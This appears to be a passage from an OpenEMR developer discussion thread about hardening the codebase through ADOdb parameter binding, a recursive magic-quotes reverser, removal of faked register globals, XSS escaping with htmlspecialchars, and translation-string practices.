5. Described above. This functionality already exist, so easy. But requires detailed look at each script to ensure EXTRACT is not needed.
6. Described above. Working well.
The main issues are in step 1, and will require some more research and discussion.
-brady
hey,
Also need some guidance on the best magic quote reverser. These two examples can be found here:
http://docs.php.net/manual/en/security.magicquotes.disabling.php
Sounds like the first one may not deal with the keys of arrays. Any other better alternatives?
FIRST OPTION:
SECOND OPTION:
if (get_magic_quotes_gpc()) { function undoMagicQuotes($array, $topLevel=true) { $newArray = array(); foreach($array as $key => $value) { if (!$topLevel) { $key = stripslashes($key); } if (is_array($value)) { $newArray[$key] = undoMagicQuotes($value, false); } else { $newArray[$key] = stripslashes($value); } } return $newArray; } $_GET = undoMagicQuotes($_GET); $_POST = undoMagicQuotes($_POST); $_COOKIE = undoMagicQuotes($_COOKIE); $_REQUEST = undoMagicQuotes($_REQUEST); }-brady
woohoo,
I think I was able to work sql.inc so will not need separate functions and is in my github branch security_example_3:
http://github.com/bradymiller/openemr/commits/security_example_3
http://github.com/openemr/openemr/network
Pertinent changes are in first commit.
-brady
1. I'm a bit uncomfortable with the functions returning different values (resource/recordset) based on if the array was empty or not. I can imagine cases where I build up a query string and array dynamically and sometimes the array is empty. Can we use something more special (like not an array at all, maybe NULL?) to indicate old behavior? (It would still be the default.)
2. Yes, we need to handle keys. We also might need to handle "magic_quotes_gpc = Off" and "magic_quotes_sybase = On" at the same time. I also wonder if ADOdb handles "magic_quotes_runtime = On". We should document that OpenEMR prefers all those to be off; and probably turn off magic_quotes_runtime when we can.
(Still 2.) Both options have stylistic issues to me. The second one looks a bit better, since it properly recurs into array values.
2 and 3. It would be nice to test/set a global flag that indicated whether we had globally de-magic-ed things. That way, strip_slashes_custom could still work *if* the global fix hadn't been run. add_escape_custom should always just still work; it would only be used in code that hadn't been converted to ADOdb, yet. I still think there's little reason to "fix" code that is not broken.
4. Again, I don't like "fix"ing things that aren't broken. The vast majority of these calls are already safe. They don't need to be converted to new functions unless they are already going to show up as changed/added lines in one of our diffs/patches.
5. Love the change!
6. No real problems.
(Still 6, but off-topic) I noticed a couple of places where you are doing something like xl("stuff") . $and . xl("more stuff"). In general, this is sort of frowned-on for translation. It marks "stuff" and "more stuff" as separate strings to be translated, when really they are part of the same phrase, which could influence the translation. Also, the ordering and punctuation may need to change depending on the language. See the Qt 4.5 i18n document (particularly the linked section) and the GNU gettext manual (particularly section 4.3, the last example in section 4.4, and section 4.6). PHP's printf does support the "%n$" form of argument conversion, so it's probably better than leaning on string concatenation.
hey,
Have next revision of commits on my github branch security_example_4:
http://github.com/bradymiller/openemr/commits/security_example_4
http://github.com/openemr/openemr/network
Same commits as above (reviewed quickly below):
1. Place new adodb bind sql.inc functionality and document/reorganize function
2. Global per-script magic quote reverser
3. Remove custom escape and database preparation functions
4. Convert sql functions to adodb binding
5. Stop faking register globals
6. Avoid xss attacks (via htmlspecialchars())
1. To avoid myself going insane, I've documented and re-organized all the functions in the script. Stephen, read through the functions and you'll see the beauty of it. Basically any function that pitches out two possible data structure should will always be caught by a function that can handle both data structures. If sql queries are done per the current/previous openemr standards, it will work automatically (this is important to support third party software that breaks the no native mysql call rules). The painful thing was getting it to work with the audit engine (if not done correctly, this has potential to screw up the insert last id stuff which can basically kill the database and explode openemr); I think it's working on my testing, but I'll ask Visolve to take a look at it. I think this is getting close to completion (dependent on Visolve input and feedback).
2. I used option 2 from above and seems to be working fine. If anybody is using sybase or runtime magic quotes… well, that's just natural selection at its best (if needed, can add to this function and can also turn all off in the future .htaccess file). Shouldn't turn this on/off globally for now since the walk through will take months. Better to just turn it on on a per script basis. Remember, we also have smarty code to contend with and that will likely take a modified technique, also going against a global switch. When it's all done, would be easy to make a global switch if wanted and swipe the per script switches. I think this part is pretty much completed (dependent on feedback).
3. No changes here. I'm not gonna touch the functions in options.inc.php, since they will always be useful in certain situations. But there's no reason to wrap variables anymore with these functions if not needed (ie. magic quotes are auto removed or the database inserts are auto-added in binded commands). Pretty much completed (depending on feedback)
4. Per number one; function names do not change, so only changes to calls that include a bind array are needed. Pretty much completed (depending on feedback)
5. No change. Pretty much completed (depending on feedback)
6. No change. Pretty much completed (depending on feedback)
Miscellaneous; regarding parameterized translation functionality, read this thread (I'm surprised Pimm hasn't responded to this yet; Pimm, if you do respond, please do it in the below link):
http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3509701
-brady